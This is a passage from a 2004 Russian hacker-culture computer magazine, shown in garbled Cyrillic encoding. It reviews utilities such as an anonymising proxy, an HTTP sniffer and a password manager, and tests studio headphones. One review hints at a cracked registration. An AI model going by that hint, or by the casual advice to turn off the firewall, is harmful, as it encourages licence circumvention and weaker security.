Ðåãèîíû: ÎÎÎ "Êîðïîðàòèâíàÿ ïî÷òà",
òåë.: 953-92-02, 

å-mail: kpp@sovintel.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñêè
íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì æóð-
íàëà, ïåðèîäîì ïîäïèñêè, áàíêîâñêèìè
ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷òîâûì
àäðåñîì, òåëåôîíîì è ôàìèëèåé îòâåò-
ñòâåííîãî ëèöà çà ïîäïèñêó.
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TAGSCANNER 4.9 ÁÈËÄ 490 RC1

Ìîùíàÿ ïðîãðàììà äëÿ îðãàíèçàöèè è óïðàâëåíèÿ
ìóçûêàëüíûìè àðõèâàìè. TagScanner ïåðåèìåíî-

âûâàåò ôàéëû MP3/OGG/MP+ òàê, ÷òîáû â èõ èìåíè ñî-
äåðæàëîñü èíôîðìàöèÿ èç òýãîâ. Òàêæå ïðîãðàììà ïîçâî-
ëÿåò ñãåíåðèðîâàòü òýã ïî èìåíè ôàéëà/äèðåêòîðèè èëè
ïî èíôîðìàöèè èç èíòåðíåò-áàçû äàííûõ freedb.org.
Âñòðîåííûé ðåäàêòîð òýãîâ ïîìîæåò áûñòðî è óäîáíî îá-
ðàáîòàòü íåîáõîäèìóþ èíôîðìàöèþ. Òàêæå èìååòñÿ â íà-
ëè÷èè ïðîñòîé, íî óäîáíûé ðåäàêòîð ïëåéëèñòîâ, ïîçâî-
ëÿþùèé ñîõðàíÿòü è ÷èòàòü ëèñòû â PLS/M3U è ýêñïîðòè-
ðîâàòü èõ â HTML è
òàáëèöû Excel.
Ïðîãðàììà â áîëü-
øèíñòâå ñëó÷àåâ
çíà÷èòåëüíî îáëåã-
÷àåò æèçíü, êîãäà
òðåáóåòñÿ ïðèâåñòè
â ïîðÿäîê ñâîé ìó-
çûêàëüíûé àðõèâ. 

»

XP-ANTISPY V3.83

Ìàëåíüêàÿ áåñï-
ëàòíàÿ ïðîãðàì-

ìêà, îñòàíàâëèâàþùàÿ
ðàçíûå àâòîàïäåéòû, çàï-
ðîñû, îò÷åòû î áàãàõ è
ïðî÷óþ íåñàíêöèîíèðî-
âàííóþ àêòèâíîñòü
Windows XP. Î÷åíü ìíîãî
íîâûõ ôèøåê, ñâÿçàííûõ
ñ âûõîäîì SP 2.
Òû ìîæåøü ñíÿòü îãðà-
íè÷åíèå â 10 ïîòîêîâ,
îòêëþ÷èòü ôàåðâîë, óá-
ðàòü Security Center, ñà-
ìîñòîÿòåëüíî âûñòàâèòü
çàïðåòû è íàñòðîèòü
ôóíêöèè íåêîòîðûõ ïðîãðàìì (Mediaplayer, MSN
Messenger, IE6), îòêëþ÷èòü âñÿêèå äóðàöêèå îïöèè â XP è
Office è ò.ä. Ïðîãðàììà - ñóïåð! Ðàáîòàåò íàïðÿìóþ ñ ðå-
åñòðîì. Âñå áåñïëàòíî è ïðàâèëüíî!

»

NETADJUST ANONYMOUS PROXY V5.2.0.0

Ñóïåðïðîãðàììà äëÿ ïîäìåíû èñòèííîãî IP-àäðåñà âî
âðåìÿ ñåðôèíãà. NetAdjust Anonymous Proxy àâòîìà-

òîì ïîäñòàâèò âûáðàííûé àíîíèìíûé ïðîêñèê è ñïðÿ÷åò
òâîé IP. Ðàáîòàòü ñ ïðîãðàììîé ëåãêî è ïðèÿòíî :).
Äîñòàòî÷íî âûáðàòü start/autopilot, è Anonymous Proxy âû-
ÿñíèò òâîé IP, çàòåì àâòîìàòè÷åñêè ïðîâåðèò òåêóùèå ïðîê-
ñè-ñåðâåðà íà ðàáîòîñïîñîáíîñòü, óðîâåíü àíîíèìíîñòè,
ïèíã è ò.ä. Ïîñëå ïðîâåðêè ïðîèçâåäåò ñîðòèðîâêó ðàáî÷èõ

ïðîêñè è âûáå-
ðåò ñàìûé áûñò-
ðûé è ñ âûñîêèì
óðîâíåì àíîíèì-
íîñòè. Âñå ãîòî-
âî! NetAdjust
Anonymous
Proxy ïðîâåðèò
òâîé íîâûé IP
(ïîêàæåò, åñòåñò-
âåííî, óæå ïîäñ-
òàâëåííûé :)) è
ñàìîñòîÿòåëüíî
ñêîíôèãóðèò ìà-
øèíó. Òû ïîë-
íîñòüþ àíîíè-

ìåí! NetAdjust Anonymous Proxy ìîæåò àâòîìàòîì ìåíÿòü
ïðîêñè ÷åðåç îïðåäåëåííîå âðåìÿ (ïî äåôîëòó 5 ìèí.). Ïî
êàæäîìó ïðîêñè-ñåðâåðó ìîæíî ïîëó÷èòü äåòàëüíóþ èí-
ôîðìàöèþ (whois).
Åùå îäèí ïðèÿòíûé ìîìåíò - îáíîâëåíèå ëèñòà ïðîêñè-ñåð-
âåðîâ. Äîáàâëÿòü ìîæíî íåïîñðåäñòâåííî IP, áðàòü ñïèñîê
èç txt-ôàéëà èëè ñãðàáèòü èç èíòåðíåòà. Ïðè÷åì web-àäðåñà
äëÿ ñáîðà ïðîêñè ìîæíî âáèâàòü ñâîè!

»

Í à ýòîò ðàç òâîåìó âíèìàíèþ ïðåäëàãàþòñÿ ñâåæåâûñòèðàííûå øàðîâàðû è äåâñòâåííî ÷èñòûå ôðèâàðû: îäíà ïî-
ëîâèíà èç íèõ ñâÿçàíà ñ Web, äðóãàÿ - íåïîñðåäñòâåííî ñ òåìîé íîìåðà. Þçàé è íàñëàæäàéñÿ!

CÎÔÒ
ÎÒ NONAME
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PASSWORD AGENT V2.3.3

Ïðîãðàììà äëÿ õðàíåíèÿ âñåõ òâîèõ ïàðîëåé. Òå-
ïåðü äîñòàòî÷íî ïîìíèòü âñåãî îäèí ïàðîëü (æåëà-

òåëüíî ïîäëèííåå ;)), êîòîðûé òû ââîäèøü ïîñëå çàïóñêà
Password Agent. Âñþ îñòàëüíóþ èíôîðìàöèþ: àêêàóíòû,
ïàññû, ìûëà, àñüêè, êîììåíòû, ëèíêè è äàæå ïðîñòûå çà-
ïèñêè ïðîãðàììà áóäåò õðàíèòü â îäíîì ñâåðõçàùèùåí-
íîì ôàéëå. 
Ðàáîòàåò áûñòðî, âåñèò
ìàëî, ïàìÿòè ïðàêòè-
÷åñêè íå åñò, óìååò âè-
ñåòü â òðåå, ðàáîòàåò
ñî âñåìè âåðñèÿìè
Âèíäîâ... Password
Agent óæå äàâíî ïðè-
æèëñÿ ó ìåíÿ - ðàáî-
òàòü ñ ïðîãîé îäíî
óäîâîëüñòâèå (îñîáåí-
íî ïîñëå "íåõèòðîé"
ðåãèñòðàöèè ;))! Èíôîðìàöèþ ìîæíî ðàçáèòü íà ãðóïïû è
ïîäãðóïïû (ICQ, FTP, DialUp è ò.ä.) íà òâîå óñìîòðåíèå. Â
Password Agent åñòü ñîáñòâåííûé ãåíåðàòîð ïàðîëåé ñ
áîãàòûìè âîçìîæíîñ-
òÿìè. Â àññîðòèìåíòå
ïðèñóòñòâóåò è óäîá-
íûé ïîèñê (åñëè áàçà
ðàçðîñëàñü).
Íó è, êîíå÷íî, îãðîì-
íîå êîëè÷åñòâî äîïîë-
íèòåëüíûõ âîçìîæíîñ-
òåé: àâòîçàêðûòèå, àâ-
òîáëîêèðîâàíèå, àâòî-
ñîõðàíåíèå, àâòîî÷èñò-
êà áóôåðà, äîáàâëåíèå/ðåäàêòèðîâàíèå ñâîèõ êîëîíîê è
ïð. Äî óñòàíîâêè Password Agent ÿ ïåðåïðîáîâàë ìíîæå-
ñòâî ïðîãðàìì, è ýòà - ëó÷øàÿ.

»

DU METER V3.06 (BUILD 186)

Îòëè÷íàÿ óòèëèòêà äëÿ ìîíèòîðèíãà è êîíòðîëÿ çà
òâîèì êîííåêòîì. Áóäåò ïîëåçíà íå òîëüêî

dialup'ùèêó, íî è ëþäÿì ñ âûäåëåíêîé. DU Meter ïîçâîëÿ-
åò ïðàêòè÷åñêè ñðàçó îïðåäåëèòü êà÷åñòâî è ðåàëüíóþ
ñêîðîñòü êîííåêòà (ïðè çàêà÷êå ôàéëîâ îñîáåííî).
Ïîñòàâèëè ôàéëû â î÷åðåäü ê òîâàðèùó ReGet'ó, à ñàìè
äåëàìè çàíèìàåìñÿ - êðàñîòà, îêîøêî ïðîãðàììû íàâåðõó,
âñå íàãëÿäíî è íå îòâëåêàåò. Íàñòðîéêè ïðîãðàììû ïðîñ-
òû è íå òðåáóþò äåòàëüíîãî îïèñàíèÿ. Ñêàæó òîëüêî î
âîçìîæíîñòè îïîâåùåíèÿ - ïðè ìàëåíüêîé ñêîðîñòè (ïî-
ëó÷åíî áàéò çà îòðåçîê âðåìåíè) DU Meter äàñò ãîëîñ.
Èìååò ñìûñë ïåðåêîííåêòèòüñÿ. Óäîáíî ÷ðåçâû÷àéíî. À
âåäåíèå ñòàòèñòèêè - âîîáùå ïåñíÿ! Âûäàåò ïîëíóþ èíôó
çà äåíü, íåäåëþ, ãîä... Ñêîëüêî òóäà è îáðàòíî. Èíîãäà äè-
âó äàåøüñÿ, ìîæíî è íà ìîäåìå ãèãàáàéòàìè ëèòü :) . Õîðî-
øàÿ ïðîãà è ïî÷òè áåñïëàòíàÿ ;).

»

BOOKSHELF V1.0D

Ëþáèøü ÷èòàòü êíèæêè ïðÿìî ñ ìîáèëû - êà÷àé
Bookshelf! Îí ïîçâîëÿåò ïðåîáðàçîâàòü îäèí èëè

ñðàçó íåñêîëüêî ôàéëîâ ñ òåêñòîì â ôîðìàòå .txt â ìèä-
ëåò, ãîòîâûé äëÿ îòïðàâêè íà ìîáèëüíûé òåëåôîí. Ïðè çà-
ïóñêå ìèä-
ëåòà íà òå-
ëåôîíå
ïîëüçîâà-
òåëü ïîëó-
÷àåò âîç-
ìîæíîñòü
÷èòàòü
òåêñò, âêëþ-
÷åííûé â
ìèäëåò.
Â ïðîöåññå
îáðàáîòêè
òåêñòà ïîëü-
çîâàòåëü èìååò âîçìîæíîñòü âûáðàòü ïàðàìåòðû ôîðìà-
òèðîâàíèÿ òåêñòà: øðèôò, ìåæñòðî÷íîå ðàññòîÿíèå è ò.ä.
Ïîääåðæèâàåò: Siemens SL45i, C55, M50, S55, SL55,
CX65 (âîçìîæíî, è äðóãèå - íå ïðîòåñòèðîâàíî). Âäîáàâîê
áåñïëàòíà.

»

XPY V0.8 (BETA)

Ìàëåíüêèé (âñåãî êàêèõ-òî 50 êèëî!), íî äþæå õîðî-
øèé òâèêåð!

Ïðîãà ïîçâîëÿåò
âûñòàâèòü îïòè-
ìàëüíûå íàñòðîéêè
ñèñòåìû ïðîñòîé
ðàññòàíîâêîé ãà-
ëîê. 
Óëó÷øåíèþ ïîä-
âåðãàþòñÿ: íåêîòî-
ðûå ïàðàìåòðû
ñèñòåìû, IE, ñåðâè-
ñû, íàñòðîéêè MediaPlayer è óñòàíîâêè äåôîëòîâîãî ìåñ-
ñåíäæåðà. Åñëè ïðîæêà áóäåò ðàçâèâàòüñÿ, òî ñ óñïåõîì
çàìåíèò XPAntiSpy.

»

EFFETECH HTTP SNIFFER V3.5.2

Ïðîñòîé è íàäåæíûé ñíèôåð http-ïàêåòîâ. Ïåðåõâàòûâàåò â
ðåàëüíîì âðåìåíè âñþ èíôîðìàöèþ ïî äàííîìó ïðîòîêîëó,
ïîääåðæèâàåò HTML, XML, GIF, JPG, Flash, Zip, Exe è ïð. Ïîç-
âîëÿåò äåòàëüíî ïðîñìàòðèâàòü, êòî, êîãäà, îòêóäà è ÷òî ïî-
ëó÷èë.
Ïîçâîëÿåò ñêàíèðîâàòü ðàçíûå ñåòè (âûáîð â íàñòðîéêàõ,
ñàìî ñîáîé âåäåò ïîäðîáíûé ëîã ðàáîòû; HTTP Sniffer áóäåò
âåñüìà ïîëåçåí àäìèíèñòðàòîðàì, ñåòåâûì þçåðàì è äðóãèì
ëþáîïûòíûì òîâàðèùàì :) .



îëîâíûå òåëåôîíû ïîçâîëÿ-
þò îòêëþ÷èòüñÿ îò âíåøíåãî
ìèðà è ïîñëóøàòü íåêîòîðîå
âðåìÿ ïðèÿòíóþ ìóçûêó íà
íóæíîé ãðîìêîñòè, íå ìåøàÿ,

âìåñòå ñ òåì, îêðóæàþùèì. Âñå ïðåäñòàâëåí-
íûå ìîäåëè ïîäõîäÿò ïîä êëàññ ïðèëåãàþ-
ùèõ ê óøàì ñèñòåì ñòîèìîñòüþ äî $150.

ÒÅÕÍÎËÎÃÈÈ
Íàóøíèêè, êàê è îáû÷íàÿ àêóñòèêà, ñîñòîÿò

èç íåñêîëüêèõ îñíîâíûõ ÷àñòåé � çâóêîâîñïðî-
èçâîäÿùåé ìåìáðàíû (äèôôóçîð), ìàãíèòà è
êàòóøêè (îáåñïå÷èâàþùåé ðàñêà÷êó ìåìáðà-
íû â ðàçíûå ñòîðîíû), ïî êîòîðîé ïðîòåêàåò
ýëåêòðè÷åñêèé ñèãíàë. Äëÿ ïîäâåäåíèÿ çâóêà ê
óøíîé ðàêîâèíå äèíàìèêè ðàñïîëàãàþòñÿ íå-
ïîñðåäñòâåííî îêîëî óõà, íî äëÿ êîìôîðòíîé
ðàáîòû ìåòàëë è ïëàñòèê íå ïîäõîäÿò, ïîýòîìó
ïðèäóìàëè ìÿãêèå àìáóøþðû (êîòîðûå ñëóæàò
íåêîòîðîé ïðîêëàäêîé è êîíòàêòèðóþò íåïîñ-
ðåäñòâåííî ñ óõîì). Êàê ïðàâèëî, îíè ñäåëàíû
èç çâóêîíåïðîíèöàåìîãî ìàòåðèàëà è îáëàäà-
þò ãèáêîé ñòðóêòóðîé (÷òîáû ìàêñèìàëüíî
óäîáíî îõâàòûâàòü óõî). Ïî ñïîñîáó ïðèëåãà-
íèÿ íàóøíèêè äåëÿòñÿ íà òðè òèïà:

Circumaural � àìáóøþðû ïîëíîñòüþ îõâà-
òûâàþò óøíóþ ðàêîâèíó;

Supraaural � àìáóøþðû ïðèëåãàþò ê óõó;
Intraaural - âñòàâëÿþùèåñÿ âíóòðü óõà íà-

óøíèêè (íå ïðèíèìàëè ó÷àñòèÿ â íàøåì òåñ-
òèðîâàíèè).

Òàêæå íàóøíèêè ìîãóò áûòü çàêðûòûìè,
îòêðûòûìè è ïîëóîòêðûòûìè. Ó ïåðâûõ ñâÿçü
ñ âíåøíåé ñðåäîé îòñóòñòâóåò è ñëûøíû
òîëüêî çâóêè, âîñïðîèçâîäèìûå äèíàìèêàìè
íàóøíèêîâ. Íåäîñòàòêàìè òàêîé êîíñòðóêöèè
ÿâëÿþòñÿ ñðàâíèòåëüíî áîëüøîé âåñ, îòñóò-
ñòâèå âåíòèëÿöèè, ãóëêîñòü áàñîâ, îäíàêî íà-
èáîëåå êà÷åñòâåííîå çâó÷àíèå èìåþò èìåííî
ýòè íàóøíèêè. Â îòêðûòûõ íàóøíèêàõ ìîæíî
óñëûøàòü íå òîëüêî ìóçûêó, íî è ïîñòîðîí-
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ÒÅÑÒÎÂÛÉ ÑÒÅÍÄ:

Ìàòåðèíñêàÿ ïëàòà: ASUS A7V333 (BIOS ver 1018.1b)

Ïðîöåññîð: AMD Athlon(tm) XP 1800+ 1.52GHz

Ïàìÿòü: Hyundai 256Mb DDR PC2700

Âèäåîêàðòà: ATI Radeon 9000

Àóäèîêàðòà: Yamaha YMF747

ÎÑ: Windows XP Professional EN Corp Edition (SP2)

ÏÎ: Apollo 37zc, Unreal Tournament 2004, WinDVD 5

Äîïîëíèòåëüíîå îáîðóäîâàíèå: MPIO FL-100, Casio
WK-3500, ToshibaTV



íèå øóìû, çàòî âñÿ ñèñòåìà â öåëîì
ÿâëÿåòñÿ êîìïàêòíîé è ëåãêîé (ìèíóñ �
îòñóòñòâèå ãëóáèíû ó íèçêèõ ÷àñòîò).
Òðåòüè æå ñîâìåùàþò â ñåáå ïëþñû
çàêðûòûõ è îòêðûòûõ òåëåôîíîâ è ÿâ-
ëÿþòñÿ íàèáîëåå óäîáíûìè äëÿ ÷àñòî-
ãî ïðîäîëæèòåëüíîãî èñïîëüçîâàíèÿ.

×òîáû äîñòàâèòü ìåëîäèþ äî ñëó-
øàòåëÿ ñ ìèíèìàëüíûìè èñêàæåíèÿ-
ìè, ïðîèçâîäèòåëè ïðèäóìàëè ðÿä
òåõíîëîãè÷åñêèõ ïðèåìîâ: äëÿ óâåëè-
÷åíèÿ ìîùíîñòè ñòàëè èñïîëüçîâàòü
ñïåöèàëüíûå ìàãíèòû èç íåîäèìà
(êîòîðûå áîëåå ñèëüíûå, ÷åì îáû÷-
íûå), äëÿ áîëåå åñòåñòâåííîãî çâó÷à-

íèÿ ðàçðàáîòàëè ïîëèìåðíûå ìåìá-
ðàíû. Èçáàâèòüñÿ îò ïîòåðü ñèãíàëà
ïîìîãàþò ïðîâîäà èç áåñêèñëîðîä-
íîé ìåäè, ïðè÷åì ðàçúåìû ïðîâîäîâ
ïîêðûâàþò çîëîòîì äëÿ îáåñïå÷åíèÿ
áîëåå êà÷åñòâåííîãî êîíòàêòà. 

ÌÅÒÎÄÈÊÀ ÒÅÑÒÈÐÎÂÀÍÈß
1. Äëÿ ïðîñëóøèâàíèÿ ìóçûêè ÷å-

ðåç êîìïüþòåð èñïîëüçîâàëàñü ïðîã-
ðàììà Apollo, â ïëåé-ëèñò êîòîðîé áû-
ëè äîáàâëåíû êîìïîçèöèè (ðàçíûõ
ñòèëåé ìóçûêè) ñ áèòðåéòîì 190 kbps.
2. Äëÿ îöåíêè âîñïðîèçâåäåíèå

ðåçêèõ çâóêîâ èñïîëüçîâàëàñü ïðîã-

ðàììà Unreal Tournament 2004, ãäå
îñîáîå âíèìàíèå îáðàùàëîñü íà
âîñïðîèçâåäåíèå âñåâîçìîæíûõ èã-
ðîâûõ ýôôåêòîâ.
3. Äàëåå ìû èñïîëüçîâàëè êîìïî-

çèöèè èç ïóíêòà 1 íà MP3-Flash ïëååðå
MPIO FL-100 (÷òîáû ïîíÿòü, ìîæíî ëè
êîíêðåòíóþ ìîäåëü èñïîëüçîâàòü ñ
ïîðòàòèâíîé òåõíèêîé).
4. Íà ðàáîòó ñ êàæäîé ïàðîé íàóø-

íèêîâ îòâîäèëîñü îêîëî äâóõ ÷àñîâ
äëÿ îïðåäåëåíèÿ óäîáñòâà ïîñàäêè è
ñòåïåíè óñòàâàíèÿ ïðè äëèòåëüíîì
èñïîëüçîâàíèè.
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test_lab
áëàãîäàðèò 

çà
ïðåäîñòàâëåííîå 
íà òåñòèðîâàíèå

îáîðóäîâàíèå 
êîìïàíèþ

«Ìóëüòèìåäèà
Êëóá» 

(ò.: 943-92-90).
Ïî õàðàêòåðèñòèêàì âîñïðîèçâåäåíèÿ çâóêà ýòà ìîäåëü äîâîëüíî ñõîæà ñ Sony MDR 7506. Ðàçëè÷èÿ òîëüêî â
êîíñòðóêöèè. Âî-ïåðâûõ, íàóøíèêè ÿâëÿþòñÿ áîëüøå supra-, ÷åì circumaural (õîòÿ çäåñü âîïðîñ íåîäíîçíà÷íûé), íî èç-

çà óìåíüøåííûõ àìáóøþð îùóùàåòñÿ çíà÷èòåëüíûé äèñêîìôîðò ïðè ïðîñëóøèâàíèè ìóçûêè áîëåå ïîëó÷àñà (îñîáåííî ýòî
ïî÷óâñòâóþò ëþäè, ïîëüçóþùèåñÿ î÷êàìè, ïîñêîëüêó äóæêè ñèëüíî ïðèæèìàþòñÿ ê ãîëîâå). Âî-âòîðûõ (è ýòî ñêîðåå ïëþñ),
ñàìè äèíàìèêè ÿâëÿþòñÿ îòêèäíûìè è ïîâîðîòíûìè (ñîõðàíèëàñü ñêëàäíàÿ ñèñòåìà è äîáàâèëñÿ ðàçâîðîò íà 90 ãðàäóñîâ, ÷òî
áóäåò óäîáíûì äëÿ ìîíèòîðèíãà "â îäíî óõî"). Îñòàëüíûå ôèøêè, êàê òî: íåîäèìîâûé ìàãíèò, óâåëè÷åííàÿ ìåìáðàíà, êàáåëü
èç áåñêèñëîðîäíîé ìåäè è çîëîòîå ïîêðûòèå êîíòàêòîâ - ïî-ïðåæíåìó èìåþò ìåñòî áûòü.

Òèï: çàêðûòûå ìîíèòîðíûå, supraaural
×àñòîòíûé äèàïàçîí: 10-25000 Ãö
Èñêàæåíèÿ: N/A
Ñîïðîòèâëåíèå: 40 Îì
×óâñòâèòåëüíîñòü: 106 äÁ
Ðåãóëÿòîðû: ñêëàäíûå
Äëèíà êàáåëÿ: 3 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 220 ã

SONY MDR 7505
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Áîëåå âñåãî íàóøíèêè AKG K101 ïîäõîäÿò äëÿ èñïîëüçîâàíèÿ ñ êàðìàííûìè ïëååðàìè èëè äëÿ ðàáîòû â êà÷åñòâå çâóêî-
âîãî äîïîëíåíèÿ êîìïüþòåðà, ïîñêîëüêó ñïåöèàëüíî îáëåã÷åíû è äîñòàòî÷íî óñòîé÷èâî äåðæàòñÿ íà ãîëîâå (ìîæíî çà-

íèìàòüñÿ ñïîðòîì). Ïîëóîòêðûòàÿ êîíñòðóêöèÿ ïðåäïîëàãàåò ïðîíèêíîâåíèå ÷àñòè çâóêîâ îêðóæàþùåé îáñòàíîâêè, íî âìåñòå
ñ òåì îáåñïå÷èâàåòñÿ ïðîâåòðèâàíèå óøíîé ðàêîâèíû (÷òî íåìàëîâàæíî ïðè àêòèâíîì îáðàçå æèçíè). Çâó÷àíèå, êîíå÷íî æå,
íå äîòÿãèâàåò äî ïðîôåññèîíàëüíîé Hi-Fi-òåõíèêè, îäíàêî íàóøíèêè ïî ñâîèì ïàðàìåòðàì îáãîíÿþò íåêîòîðîå áîëåå äîðîãèå
àíàëîãè. Íèçêèå ÷àñòîòû âîñïðîèçâîäèëèñü äîñòàòî÷íî òî÷íî è êà÷åñòâåííî, ïðàâäà, íåìíîãî íå õâàòàåò ãëóáèíû, à ñ âûñîêèì
æå äèàïàçîíîì îñîáûõ ïðîáëåì çàìå÷åíî íå áûëî � çâóêîâàÿ êàðòèíà ÷åòêàÿ è ÿñíàÿ.

Òèï: ïîëóîòêðûòûå, supraaural
×àñòîòíûé äèàïàçîí: 18-22000 Ãö
Èñêàæåíèÿ: N/A
Ñîïðîòèâëåíèå: 19 Îì 
×óâñòâèòåëüíîñòü: 101 äÁ
Ðåãóëÿòîðû: ñàìîíàñòðàèâàþùàÿñÿ äóæêà
Äëèíà êàáåëÿ: 3 ì 
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 160 ã

AKG K101
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AKG K271 ïðåäñòàâëÿþò ñîáîé âàðèàöèþ çàêðûòûõ ìîíèòîðíûõ íàóøíèêîâ, è ýòî ïîçâîëÿåò èçáåæàòü íàñëàèâàíèÿ çâó-
êîâ âíåøíåé ñðåäû íà ìóçûêàëüíûå êîìïîçèöèè. Ñèñòåìà ïðåäíàçíà÷åíà äëÿ ïðèìåíåíèÿ â ïðîôåññèîíàëüíûõ öåëÿõ,

îäíàêî íåïëîõî ïîêàçàëà ñåáÿ è â íàøåì òåñòå. Çâó÷àíèå ìóçûêè îêàçàëîñü õîðîøèì (âî ìíîãîì áëàãîäàðÿ òåõíîëîãèè
Varimotion, êîòîðàÿ îáåñïå÷èâàåò åñòåñòâåííûé çâóê áåç èñêàæåíèé âî âñåì äèàïàçîíå ÷àñòîò), à êîíñòðóêöèÿ âåñüìà ïðîäó-
ìàííîé. Ïðè äîëãîé ðàáîòå ñ ýòîé àêóñòèêîé äèñêîìôîðòíûå îùóùåíèÿ îòñóòñòâóþò, à ñàìîíàñòðàèâàþùàÿñÿ øèðîêàÿ äóæêà
îáåñïå÷èâàåò íàäåæíîå è âìåñòå ñ òåì óäîáíîå êðåïëåíèå íà ãîëîâå. Ñúåìíûé êàáåëü äëèíîé òðè ìåòðà èìååò ñ îäíîé ñòîðî-
íû ñòàíäàðòíûé ìèíè-äæýê (ïåðåõîäíè÷åê íà äæýê ïðèëàãàåòñÿ), à ê íàóøíèêàì ïðèñîåäèíÿåòñÿ ñòàíäàðòíûé òðåõïèíîâûé
(mini-XLR) ðàçúåì, òàê ÷òî ñ çàìåíîé ïðîâîäà ïðîáëåì âîçíèêíóòü íå äîëæíî.

Òèï: çàêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 16-28000 Ãö
Èñêàæåíèÿ: <0.3%
Ñîïðîòèâëåíèå: 55 Îì
×óâñòâèòåëüíîñòü: 91 äÁ
Ðåãóëÿòîðû: àâòîïîäñòðàèâàþùàÿñÿ äóæêà
Äëèíà êàáåëÿ: 3 ì 
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 240 ã

AKG K271
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ÕÀÊÅÐÑÏÅÖ   10(47)    2004

Êîíñòðóêöèÿ î÷åíü ïîõîæà íà ïðåäûäóùóþ, íî èìååò íåñêîëüêî èíûå õàðàêòåðèñòèêè � ìåíüøåå ñîïðîòèâëåíèå ïîçâî-
ëÿåò ïîëó÷èòü ïðèåìëåìóþ ìîùíîñòü (â ìåòðî ìîæíî çàáûòü î ãðîõîòå ïîåçäà), à ñíèæåííûé äèàïàçîí ÷àñòîò äàåò áî-

ëåå ãëóáîêèé áàñ. Ýòà ñèñòåìà òàê æå äîñòàòî÷íî óäîáíà - ðàñøèðåííàÿ äóæêà ñíèæàåò íàãðóçêó íà ãîëîâó è ïîçâîëÿåò íîñèòü
íàóøíèêè â òå÷åíèå íåñêîëüêèõ ÷àñîâ áåç îòðûâà îò ïðîñëóøèâàíèÿ ìóçûêè. Àìáóøþðû â îòëè÷èå îò ïðåäûäóùåé ìîäåëè
âûïîëíåíû èç êîæè (÷òî, êàê íàì êàæåòñÿ, ìåíåå óäîáíî), à òàêîé æå ïîâîðîòíûé ìåõàíèçì îáåñïå÷èâàåò "àíàòîìè÷íîñòü"
ïðèíèìàåìîé ñèñòåìîé ôîðìû. Áîëåå âñåãî ýòè íàóøíèêè ïîäõîäÿò äëÿ ìÿãêèõ êîìïîçèöèé (íå õàðä-òðýø-ðîêà), ãäå íàèáîëåå
ïîëíî ïðîÿâëÿþòñÿ âñå ïëþñû óñòðîéñòâà.

Òèï: îòêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 14-21000 Ãö
Èñêàæåíèÿ: <0.2%
Ñîïðîòèâëåíèå: 32 Îì
×óâñòâèòåëüíîñòü: 105 äÁ
Ðåãóëÿòîðû: îòñóòñòâóþò
Äëèíà êàáåëÿ: 3 ì 
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 210 ã

SENNHEISER HD 500
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Âûñîêîêà÷åñòâåííîå óñòðîéñòâî, ïðîèçâåäåííîå êîìïàíèåé Sony, ïîçâîëÿåò ïîëíîñòüþ ïîãðóçèòüñÿ â ìèð çâóêîâ è çà-
áûòü îáî âñåì. Ìóçûêà, âîñïðîèçâîäèìàÿ àêóñòè÷åñêîé ñèñòåìîé, ïðîñòî áåñïîäîáíà (øèðîêèé äèàïàçîí ÷àñòîò ïîçâî-

ëÿåò âî âñåé êðàñå óñëûøàòü è ãóëêèé ãðîì òàìòàìîâ, è òîíêîå ïåíèå ñêðèïêè), ïðè÷åì îòëè÷íî çâó÷àò íå òîëüêî êëàññè÷åñ-
êèå, íî è ñîâðåìåííûå êîìïîçèöèè ñ ÷åòêèì ðèòìîì.
Î êîíñòðóêöèè ìîæíî ñêàçàòü, ÷òî îíà âåñüìà è âåñüìà ïðîäóìàííàÿ, à çàÿâëåííûå òåñòû íà ïðî÷íîñòü (ìåõàíè÷åñêèå) îáå-
ùàþò âûäåðæèâàòü íàãðóçêè äàæå â æåñòêèõ óñëîâèÿõ ýêñïëóàòàöèè. Íàóøíèêè óìåþò ñêëàäûâàòüñÿ â êîìïàêòíûé ìåøî÷åê
(êîòîðûé âõîäèò â êîìïëåêò) è â ýòîì ñîñòîÿíèè çàíèìàþò î÷åíü ìàëî ìåñòà. Ïîäêëþ÷àþòñÿ îíè ê çâóêîâîñïðîèçâîäÿùåìó
óñòðîéñòâó ïîñðåäñòâîì ïðóæèííîãî êàáåëÿ (êîòîðûé ëåãêî ðàñòÿãèâàåòñÿ äî òðåõ ìåòðîâ) èç áåñêèñëîðîäíîé ìåäè (òåì ñà-
ìûì îáåñïå÷èâàåòñÿ íàäåæíûé êàíàë äëÿ ñèãíàëà). Ïðèìåíåííûå â "óøàõ" íåîäèìîâûå ìàãíèòû îáåñïå÷èâàþò ïîâûøåííóþ
ìîùíîñòü è ãëóáèíó ñèãíàëà.

Òèï: çàêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 10-25000 Ãö
Èñêàæåíèÿ: <0.05%
Ñîïðîòèâëåíèå: 63 Îì
×óâñòâèòåëüíîñòü: 106 äÁ
Ðåãóëÿòîðû: ñêëàäíûå
Äëèíà êàáåëÿ: 3 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 230 ã

SONY MDR 7506
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Íàóøíèêè ïîäîéäóò êàê ïðîôåññèîíàëàì, òàê è ïðîñòî ëþáèòåëÿì êà÷åñòâåííîãî çâóêà. Ïðîäâèíóòûå ìàòåðèàëû
ïîçâîëÿþò âûäåëèòü íèçêèå ÷àñòîòû, áëàãîäàðÿ ÷åìó îáåñïå÷èâàåòñÿ ìîùíûé ãëóáîêèé (íàñêîëüêî ýòî ìîæíî ñêàçàòü î

òàêîì òèïå àêóñòèêè) áàñ, ÷òî äîëæíî ïîíðàâèòüñÿ ëþáèòåëÿì ñîâðåìåííîé ðèòìè÷íîé ìóçûêè. Èç-çà òåõíîëîãèè (ïðèëåãàíèå ê
